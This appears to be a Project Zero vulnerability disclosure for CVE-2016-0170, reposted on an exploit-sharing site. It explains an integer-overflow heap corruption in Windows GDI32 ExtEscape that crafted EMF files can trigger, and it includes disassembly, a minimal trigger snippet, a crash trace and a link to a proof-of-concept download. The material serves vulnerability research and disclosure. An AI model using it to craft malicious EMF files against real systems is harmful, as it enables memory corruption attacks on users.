Author

Google Security Research

Risk

[

Security Risk High

]

0day-ID

0day-ID-26011

Category

dos / poc

Date add

17-05-2016

CVE

CVE-2016-0170

Platform

windows

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=731
 
Two of the escape codes supported by the public ExtEscape() API are POSTSCRIPT_IDENTIFY and POSTSCRIPT_INJECTION, which are only processed if the Device Context is associated with a printer. In the code responsible for handling the two escape codes, we can find the following constructs:
 
--- cut ---
.text:7DAE3E9F                 mov     ecx, [ebp+cjInput]
.text:7DAE3EA2                 lea     eax, [ecx+1Ah]
.text:7DAE3EA5                 add     ecx, 17h
.text:7DAE3EA8                 cmp     eax, ecx
.text:7DAE3EAA                 jb      loc_7DAD19AD
.text:7DAE3EB0                 and     eax, 0FFFFFFFCh
.text:7DAE3EB3                 mov     [ebp+Size], eax
.text:7DAE3EB9                 push    [ebp+Size]      ; Size
.text:7DAE3EBF                 mov     eax, large fs:18h
.text:7DAE3EC5                 mov     eax, [eax+30h]
.text:7DAE3EC8                 push    0               ; Flags
.text:7DAE3ECA                 push    dword ptr [eax+18h] ; HeapHandle
.text:7DAE3ECD                 call    ds:__imp__RtlAllocateHeap@12 ; RtlAllocateHeap(x,x,x)
...
.text:7DAE3EEF                 mov     eax, [ebp+cjInput]
.text:7DAE3EF2                 push    eax             ; Size
.text:7DAE3EF3                 mov     [esi+10h], eax
.text:7DAE3EF6                 lea     eax, [esi+14h]
.text:7DAE3EF9                 push    edi             ; Src
.text:7DAE3EFA                 push    eax             ; Dst
.text:7DAE3EFB                 call    _memcpy
--- cut ---
 
which can be translated to the following C-like pseudocode (assuming 32-bit wide types):
 
--- cut ---
if (cjInput + 26 > cjInput > 23) {
  buffer = Allocate((cjInput + 26) & ~4);
  ...
  memcpy(buffer + 20, lpInData, cjInput);
  ...
}
--- cut ---
 
From the code snippet shown above, it is clear that while it checks for a possible integer overflow between cjInput+23 and cjInput+26, it does not check if the "+23" part overflows the 32-bit type or not. As a consequence, if cjInput is set to anywhere between -23 and -1, a small heap-based buffer will be allocated (<30 bytes) and the function will try to copy ~4GB of data into it, leading to an obvious buffer overflow condition.
 
Under normal circumstances, the problem can only be triggered with an unusually large value of the cjInput parameter, which is unlikely to be used by a programmer. However, EMF (Enhanced Windows Metafile) files can act as remote proxy for DrawEscape() (via EMR_DRAWESCAPE) and ExtEscape() (via EMR_EXTESCAPE) calls. Interestingly, the corresponding MRESCAPE::bCheckRecord() record verification routine doesn't ensure that the cjInput value is valid (i.e. that enough input data is actually present in the record). As a result, a specially crafted EMF file can pass any controlled value as cjInput, thus potentially /lying/ to ExtEscape() about the number of input bytes. Lack of cjInput sanitization in MRESCAPE::bCheckRecord() is therefore believed to be the culprit of the bug (regardless of the integer overflow in ExtEscape()).
 
While this is just one example of what an arbitrary cjInput parameter passed to DrawEscape() / ExtEscape() may lead to, we suspect that it could also have other security implications, e.g. if any of the functions trust cjInput and read beyond the record buffer, and then use the data in such a way that it is possible to retrieve it back in the client (like Internet Explorer), then it could be used as a memory disclosure primitive.
 
As previously mentioned, the bug only reproduces when the destination HDC is associated with a printer. After a brief search I haven't found a vector to achieve this using existing Windows client applications supporting the EMF format (such as IE), so I've developed a short dedicated program to demonstrate the problem (poc.cc), which boils down to the following API calls:
 
--- cut ---
HDC hdc = CreateDC("WINSPOOL", "Fax", NULL, NULL);
HENHMETAFILE hemf = GetEnhMetaFile("poc.emf");
 
RECT rect = {0, 0, 100, 100};
PlayEnhMetaFile(hdc, hemf, &rect);
--- cut ---
 
Upon compiling it and starting with the enclosed poc.emf file in the current working directory, the expected crash is generated in memcpy():
 
--- cut ---
(353c.fa4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=003300e7 ebx=004ffbe8 ecx=3ffffc39 edx=00000003 esi=00331000 edi=00500c1c
eip=779823a3 esp=0028fb34 ebp=0028fb3c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
ntdll!memcpy+0x33:
779823a3 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
 
0:000> kb
ChildEBP RetAddr  Args to Child              
0028fb3c 771a3f00 004ffd04 003300e8 ffffffff ntdll!memcpy+0x33
0028fd98 771c3fa9 bc21881a 00001015 ffffffff GDI32!ExtEscape+0x431
0028fdbc 77194e17 bc21881a 004f9588 00000004 GDI32!MRESCAPE::bPlay+0x32
0028fe34 7719ca93 bc21881a 004f9588 003300d8 GDI32!PlayEnhMetaFileRecord+0x2c5
0028febc 7719caf2 bc21881a 423d5f3a 00000000 GDI32!bInternalPlayEMF+0x66b
0028fed8 00401479 bc21881a b6467a1d 0028fef8 GDI32!PlayEnhMetaFile+0x32
WARNING: Stack unwind information not available. Following frames may be wrong.
0028ff18 004010fd 0028ff28 75949e34 7efde000 image00400000+0x1479
0028ff94 77999882 7efde000 4f2b9f18 00000000 image00400000+0x10fd
0028ffd4 77999855 00401280 7efde000 00000000 ntdll!__RtlUserThreadStart+0x70
0028ffec 00000000 00401280 7efde000 00000000 ntdll!_RtlUserThreadStart+0x1b
--- cut ---
 
The bug has been reproduced on a fully patched Windows 7 64-bit with a 32-bit POC program, but the 64-bit build of gdi32.dll also seems to be affected.
 
 
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39834.zip

#  0day.today [2024-11-16]  #